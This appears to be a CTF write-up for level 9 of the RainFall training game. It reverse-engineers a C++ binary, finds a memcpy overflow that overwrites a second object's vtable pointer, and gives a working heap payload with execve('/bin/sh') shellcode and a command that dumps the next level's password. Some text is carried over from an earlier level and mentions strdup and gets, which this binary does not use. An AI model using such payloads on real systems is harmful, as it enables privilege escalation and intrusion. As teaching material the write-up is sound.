Skip to content

Latest commit

 

History

History
580 lines (477 loc) · 21.9 KB

README.md

File metadata and controls

580 lines (477 loc) · 21.9 KB

Level 9

Introduction

Going back to PEDA as we used it way more on this one.

Explanation on the reverse engineering part will be focusing on the aspects useful for exploiting:

  • C++ what's new
  • N::annotation
  • What's in EDX

Setup

We find a binary file at the root of the user level9 named ./level9.

To analyze the binary file we copy it to the host with scp (OpenSSH secure file copy).

scp -r -P 4243 level9@localhost:/home/user/level9/level9 .

PEDA

In order to use PEDA can just run it inside docker.

./peda.sh level9
# or
docker run -it -v "$abs_path":/mnt/binary gdb-peda-image bash -c "gdb -q /mnt/binary"

Binary Analysis

On the PEDA prompt we need to run a couple of commands to analyze the binary. In order to develop an exploit, we want to understand the behaviour of the program.

We run the usual info functions command.

All defined functions:

Non-debugging symbols:
0x08048464  _init
0x080484b0  __cxa_atexit
0x080484b0  __cxa_atexit@plt
0x080484c0  __gmon_start__
0x080484c0  __gmon_start__@plt
0x080484d0  std::ios_base::Init::Init()
0x080484d0  _ZNSt8ios_base4InitC1Ev@plt
0x080484e0  __libc_start_main
0x080484e0  __libc_start_main@plt
0x080484f0  _exit
0x080484f0  _exit@plt
0x08048500  _ZNSt8ios_base4InitD1Ev
0x08048500  _ZNSt8ios_base4InitD1Ev@plt
0x08048510  memcpy
0x08048510  memcpy@plt
0x08048520  strlen
0x08048520  strlen@plt
0x08048530  operator new(unsigned int)
0x08048530  _Znwj@plt
0x08048540  _start
0x08048570  __do_global_dtors_aux
0x080485d0  frame_dummy
0x080485f4  main
0x0804869a  __static_initialization_and_destruction_0(int, int)
0x080486da  _GLOBAL__sub_I_main
0x080486f6  N::N(int)
0x080486f6  N::N(int)
0x0804870e  N::setAnnotation(char*)
0x0804873a  N::operator+(N&)
0x0804874e  N::operator-(N&)
0x08048770  __libc_csu_init
0x080487e0  __libc_csu_fini
0x080487e2  __i686.get_pc_thunk.bx
0x080487f0  __do_global_ctors_aux
0x0804881c  _fini

A few of the symbols follow the syntax: "N::{FUNCTION_NAME}()". You guessed it, it is probably a Class.

C++ What's new?

So we'll start as usual by looking at the main function. But In order to understand this main, we'll split it in three parts matching the Binary Analysis sections:

Here is the first section of the main.

It contains:

A procedure prologue In which we know we get 0x20 == 32 bits of space on the stack.
   0x080485f4 <+0>:	push   ebp
   0x080485f5 <+1>:	mov    ebp,esp
   0x080485f7 <+3>:	push   ebx
   0x080485f8 <+4>:	and    esp,0xfffffff0
   0x080485fb <+7>:	sub    esp,0x20
A check for at least one argument.

Here, [ebp+0x8] contains argc. The code will skip the exit with the jg if argc > 1

And twice almost the same code
new N(5) new N(6)
What we'll note here is the call to functions with a weird name. In C++, to facilitate features like overloading, function names are mangled.

In fact, here we have calls to new with _Znwj@plt and N::N(int) with _ZN1NC2Ei.

The second one can be justified with the parameters used and its implementation.

Its first argument is the last element on the stack, here the content of ebx. As ebx contains eax after the call to new, it is the address in the memory for the instance. It first receives this. And its second argument is 6 as we can see in esp+0x4.

But more important can be found for later in the instruction of the constructor function.

Dump of assembler code for function _ZN1NC2Ei:
   0x080486f6 <+0>:	push   ebp
   0x080486f7 <+1>:	mov    ebp,esp
   0x080486f9 <+3>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080486fc <+6>:	mov    DWORD PTR [eax],0x8048848
   0x08048702 <+12>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048705 <+15>:	mov    edx,DWORD PTR [ebp+0xc]
   0x08048708 <+18>:	mov    DWORD PTR [eax+0x68],edx
   0x0804870b <+21>:	pop    ebp
   0x0804870c <+22>:	ret
End of assembler dump.

with the push instruction, ebp is now 8 bytes from esp when the call in the main occures. In esp was stored the address of the new object.

But the first instruction after getting the address in eax is weird. 0x080486fc <+6>: mov DWORD PTR [eax],0x8048848 effectively puts a constant value in the object.

A quick command x 0x8048848 in PEDA to examine what's at this address gives 0x0804873a. Or 0x0804873a is the address of a function when we did the command info functions. It is the address of the N::operator+(N&) function. In fact, in C++, instances contain a pointer to a virtual table vtable which stores the address of all of the member functions. 0x8048848 is the address of this vtable.

Then we get the second parameter from ebp+0xc (5 for the first call, 6 for the second), and we store it at eax+0x68. Or 0x68 is equal to 104, and we called new for 108 bytes. So the int is stored at the end of the instance's space. We got: '&vtable', 100 bytes, int.


We now know how the main starts. That we have a C++ class with a 100 bytes of space, and an int. And that we got two instances of the class.

N::annotation

Lets continue with the main up to the next call to a member function from N.

The first few instructions from <+92> to <128> are mostly some memory shuffle. The important points are:

  • <+112> we put the second argument of main argv[0] in eax

  • <+118> we skip the 4 first bytes, we are on argv[1]

  • <+120> we put that at esp+0x4 which will be ebx+0xc in the next call |-> second parameter of _ZN1N13setAnnotationEPc is argv[1]

  • <+128> at esp we put eax which contains [esp+0x14] which contains [esp+0x1c] which is the return value of new |-> first parameter of _ZN1N13setAnnotationEPc is &instance1

Now in the function itself.

We see strlen@plt called on argv[1] and the result used for memcpy@plt as the third parameter. Morover, argv[1] is used for memcpy@plt as the second parmeter which means argv[1] is the source.

And we copy the entirety of argv[1] in the space 0x4 after the begining of our current instance. We know it has a fixed size of a 100 bytes and memcpy@plt does not receive the size of the destination.

We so can write the memory from 4 bytes after the begining of our first instance, or right after the vtable address. And we already know we got the memory for a second instance with new. We might be able to overwrite the second instance's data.

What's in EDX

Is the data from the second instance used? If we overwrite the data for the second instance, the vtable should be corrupted.

So any try to use a member function would effectively call at an address we could choose. And as vtable sits as the first element of the instance, any dereferencing of our second instance first address is a vulnerability.

At <+108> esp+0x10 was set to contain the address of the second instance of class N. And right after the calal to _ZN1N13setAnnotationEPc, we put in eax this address. Then at <+140> we dereference eax in place. It allows us to access the instance itself. But at <+142> the critical mistake is done. There is no way back, we dereference again.

This effectively dereference the first element which is the vtable address, and accesses the first element of the table which normally is the first member funcion. edx should point towards the instructions of N::operator+(int)

However, after setting the other parameters for the next call statement, we notice that the instructions used are the ones in edx. This, in a normal context executes the N::operator+(int) of the second instance with the first instance as a parameter.

We got all of the pieces to reconstruct the source, and probably about enough to write our payload.

Source

The equivalent program in C would be:

#include <cstring>
#include <cstdlib>

class N {
public:
    char buffer[100];
    int value;

    N(int value) : value(value) {}

    void setAnnotation(char* annotation) {
        int len = strlen(annotation);

        std::memcpy(this->buffer, annotation, len);
    }

    int operator+(const N &right) const {
        return (this->value + right.value);
    }

    int operator-(const N &right) const {
        return (this->value - right.value);
    }
};

int main(int argc, char* argv[]) {
    if (argc < 2) {
        exit(1);
    }

    N* instance1 = new N(5);
    N* instance2 = new N(6);

    instance1->setAnnotation(argv[1]);

    return (*instance2 + *instance1);
}

Permissions

As we can see in the permissions of the executable file, the binary ./level9 is executed with the privileges of the user bonus0, the owner of the file.

level9@RainFall:~$ ls -l level9
-rwsr-s---+ 1 bonus0 users 6720 Mar  6  2016 level9

Exploit

We now know:

  • the binary has user level9 privileges
  • we can overflow an address that will be used as a pointer to pointer to instructions (vtable, table of address of functions)
  • the second instance address is our target

We'll use the pattern create + pattern offset combo to calculate the size of our payload.

pattern create 124
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9'
r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9'

The program tried to dereference 'MAAi' which is at an offset of 108.

We are left with the same steps as for the level2 When we login, we see a message saying that *ASLR* is off: ```bash System-wide ASLR (kernel.randomize_va_space): Off (Setting: 0) ``` This can be useful to us if we want to try to inject *shellcode* on the heap, because the memory location where `strdup` allocates never changes (`0x0804a008`).

We can find shellcodes from shell-storm, exploit-db or even github.

The one I will be using is an execve ("/bin/sh") of 21 bytes.

 xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f   ;; hs//
 push 0x6e69622f   ;; nib/
 mov ebx, esp
 mov al, 11
 int 0x80

Translated to:

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";

With this we can prepare our payload. To be able to execute the payload we have to write the instructions (shellcode) on the heap and tell the program to execute that.

We can achieve this by replacing the main's return address by the memory location where strdup writes, that way the input from the gets function is allocated on the heap thanks to strdup and we can execute it by telling the program that the next instruction on the EIP (instead of the return) is on the address 0x0804a008.

We will have this format: shellcode + padding + heap address.

But this time we have to remember that our address get dereferenced a second time. So we'll add another heap address at the very begining of our payload.

heap address + 4 + shellcode + 83 times 'a' + heap address

This will be the payload for our binary.

"\x10\xa0\x04\x08\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x0c\xa0\x04\x08"

Solution

Connect with ssh -p 4243 level9@localhost Enter the password c542e581c5ba5162a85f767996e3247ed619ef6c6f7b76a59435545dc6259f8a

We can execute the buffer overflow with this line.

$ ./level9 $(printf "\x10\xa0\x04\x08\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80%83s\x0c\xa0\x04\x08" | tr ' ' 'a')
1���Qh//shh/bin��

cat /home/user/bonus0/.pass
f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728